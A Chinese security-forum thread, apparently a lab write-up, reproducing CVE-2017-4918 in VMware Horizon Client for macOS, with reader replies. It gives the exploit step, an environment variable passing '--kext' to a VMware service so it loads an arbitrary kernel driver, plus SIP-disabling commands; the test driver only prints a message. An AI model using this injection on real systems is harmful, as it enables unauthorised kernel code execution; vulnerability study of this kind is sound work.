吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 6309|回复: 10
收起左侧

[漏洞分析] CVE-2017-4918 复现记录

  [复制链接]
BeneficialWeb 发表于 2021-4-23 10:40
本帖最后由 BeneficialWeb 于 2021-4-23 10:43 编辑

CVE-2017-4918 复现

一、物理机环境搭建

系统虚拟机镜像:OS X 10.11 El Capitan Retail  && kali-linux-2021.1-installer-amd64

软件:VMware 15.0.3 && unlocker (用于解锁VMware对MacOS的支持)

&& VMware-Horizon-Client-4.4.0-5164329 && XCode (用于生成驱动文件)

这里建议所有虚拟机全部安装英文版,避免不必要的输入法问题,中文问题。此外网络连接模式都默认选择 NAT,方便虚拟机通信。

[解锁方法](mkUnlocker: 适用于vmware 15.5的解除mac限制locker (gitee.com))

注意:先解锁,才能安装MacOS虚拟机。

MacOS虚拟机安装教程

[kali安装教程](图文详解在VMware Workstation 14 虚拟机上安装Kali Linux黑客专用系统-网络教程与技术 -亦是美网络 (yishimei.cn))

其他注意事项:

如图所示,在MacOS的安全和隐私中,先勾选Anywhere选项,这个在安装Vmtools之前会用到

安全和隐私

安全和隐私

二、cve简介

使用VMware-Horizon-Client-4.4.0-5164329的环境变量加载一个IOKit类型的内核驱动。

[关于此漏洞介绍和复现的链接](CVE-2017-4918: Code Injection in VMware Horizon's macOS Client " #bogner.sh)

三、虚拟机环境搭建

1、MacOS

MacOS中安装 VMware-Horizon-Client-4.4.0-5164329.dmg

值得注意的是,在MacOS中,安装软件通常是拖拽图标,而不是Windows上的下一步,下一步。

适用于 Mac 的 VMware Horizon Client 安装和设置指南 - VMware Horizon Client for Mac 5.0

要点:安装完成后,注意启动远程USB服务。

MacOS中应用程序的菜单选项通常在桌面左上方,而不是像Windows一样在应用程序自身窗口的左上方。

软件

软件

禁用 SIP System Integrity Protection,类似于Windows上的禁用驱动签名

虚拟机 按下 cmd+r 键盘的同时点击重新启动,进入进入恢复模式(这里的cmd在windows上对应的就是Win键)

然后选择实用工具(Utils),打开一个终端

# 禁用驱动签名
csrutil disable
# 重启
reboot

安装XCode X.X 根据你的虚拟机版本确定,下面时官方历史发布介绍的链接。

Xcode Releases | xcodereleases.com

上面网页中的Requires就是系统版本要求。通常情况下AppStore里下载的都是最新版,且不符合系统要求,导致不能安装,需要注意的是安装软件必须要注册AppID苹果账号。

XCode后续用于写一个简单的内核驱动。

2、Kali

搭建NFS文件服务器

# 安装服务
apt-get install nfs-kernel-server
# 创建共享文件夹
mkdir /root/share
# 编辑配置文件
vim /etc/exports

增加如下内容

/root/share *(rw,insecure)
# 重启nfs服务
systemctl restart nfs-kernel-server

这里服务重启后,查看两台虚拟机的ip地址,通过ping测试是否能互相ping通,然后右键访达(Finder),选择 Connect to Server,填入nfs://Kali的ip地址//root/share,点击连接(Connect ) 就可以看见共享文件夹了。

share

share

3、编译我的第一个驱动。

通过漏洞作者的文章,我们可以知道,应该创建一个IOKit 类型的驱动项目

driver

driver

创建完成后可以置入如下代码到xxx.cpp文件中

code

code

/* add your code here */

#include <mach/mach_types.h>
#include <libkern/libkern.h>

kern_return_t kexp_start(kmod_info_t *ki,void*d);
kern_return_t kexp_stop(kmod_info_t *ki,void*d);

// 类似于DriverEntry
kern_return_t kexp_start(kmod_info_t *ki,void *d)
{
    printf("LoadDriver success!\n");
    return KERN_SUCCESS;
}
// 类似于DriverUnload
kern_return_t kexp_stop(kmod_info_t *ki,void *d)
{
    return KERN_SUCCESS;
}

然后配置依赖库

lib.png

点开Info.plist配置文件,点击加号,输入库的名称,后面跟上版本号。

编译后即可得到kexp.kext

将改驱动拷贝到linux下的共享目录下,紧接着在MacOS中开一个终端,导出一个环境变量。VMWARE_VIEW_USBARBITRATOR_LOG_OPTIONS

VMWARE_VIEW_USBARBITRATOR_LOG_OPTIONS="--kext /Volumes/share/kexp.kext -f"
export VMWARE_VIEW_USBARBITRATOR_LOG_OPTIONS
echo $VMWARE_VIEW_USBARBITRATOR_LOG_OPTIONS
# 运行漏洞软件
./Open\ VMware\ View\ Client\ Services
# 查看驱动是否加载
kextstat |grep kexp

最后可以看得驱动被加载到内核

result

result

最终效果如图所示

display.png

四、杂项

误删用户目录操作

Linux误删用户家(home)目录的恢复方法_rmkloveme-CSDN博客

可以先测试常规方式加载驱动,测试驱动是否存在问题。

sudo chown -R root:wheel /Users/
# 检测驱动文件存在的问题
kextutil -tn kexp
# 加载驱动
sudo kextload kexp.kext
# 卸载驱动
sudo kextunload kexp.kext

通过Console查看系统输出日志

syslog

syslog

五、我的困惑

可以看到,我在内核驱动里使用了printf函数,但是MacOS 10.11.6的输出结果在哪里看呢?

10.11.6上无 log show命令,console中也没发现kernel.log

嗯,对于MacOS的内核开发,有什么推荐的书籍吗?

免费评分

参与人数 10威望 +2 吾爱币 +109 热心值 +9 收起 理由
stellaW + 1 谢谢@Thanks!
温柔的一哥 + 2 + 1 我很赞同!
经典柚子 + 1 + 1 用心讨论,共获提升!
yanyyuan + 1 谢谢@Thanks!学习一下
fengbolee + 2 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
jiangsg + 1 谢谢@Thanks!
willJ + 2 + 100 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
闻经获益 + 1 + 1 我很赞同!
ZJevon + 1 + 1 我很赞同!
NanKeYM + 1 + 1 可以可以,这就去试一下

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

康铎严 发表于 2021-4-23 10:54
你用最新kali2021.1测试的吗,最近发现kali2021最新版各种问题,msf报错,以前能用的python程序也无法运行,依赖都装了也不好使
 楼主| BeneficialWeb 发表于 2021-4-23 11:05
康铎严 发表于 2021-4-23 10:54
你用最新kali2021.1测试的吗,最近发现kali2021最新版各种问题,msf报错,以前能用的python程序也无法运行 ...

嗯,是的,但是我只是使用他的网络文件系统,没使用其他功能。
wildfire_810 发表于 2021-4-24 06:11
积积 发表于 2021-4-25 16:45
曾哥牛逼
温柔的一哥 发表于 2021-5-23 21:13
果然是高手啊。佩服!一定花了不少时间,辛苦了~
感谢分享!
stellaW 发表于 2021-5-24 14:30
最近在学习网络安全方面 感谢楼主!!!
Raphaell 发表于 2021-5-29 20:06
amd的cpu加nVidia的显卡卡在虚拟机了哈哈
A2021d 发表于 2021-5-29 21:57

感谢分享调试。期待下文
huangweiping138 发表于 2021-6-1 01:46
高手,学习一下
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-4-26 08:00

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表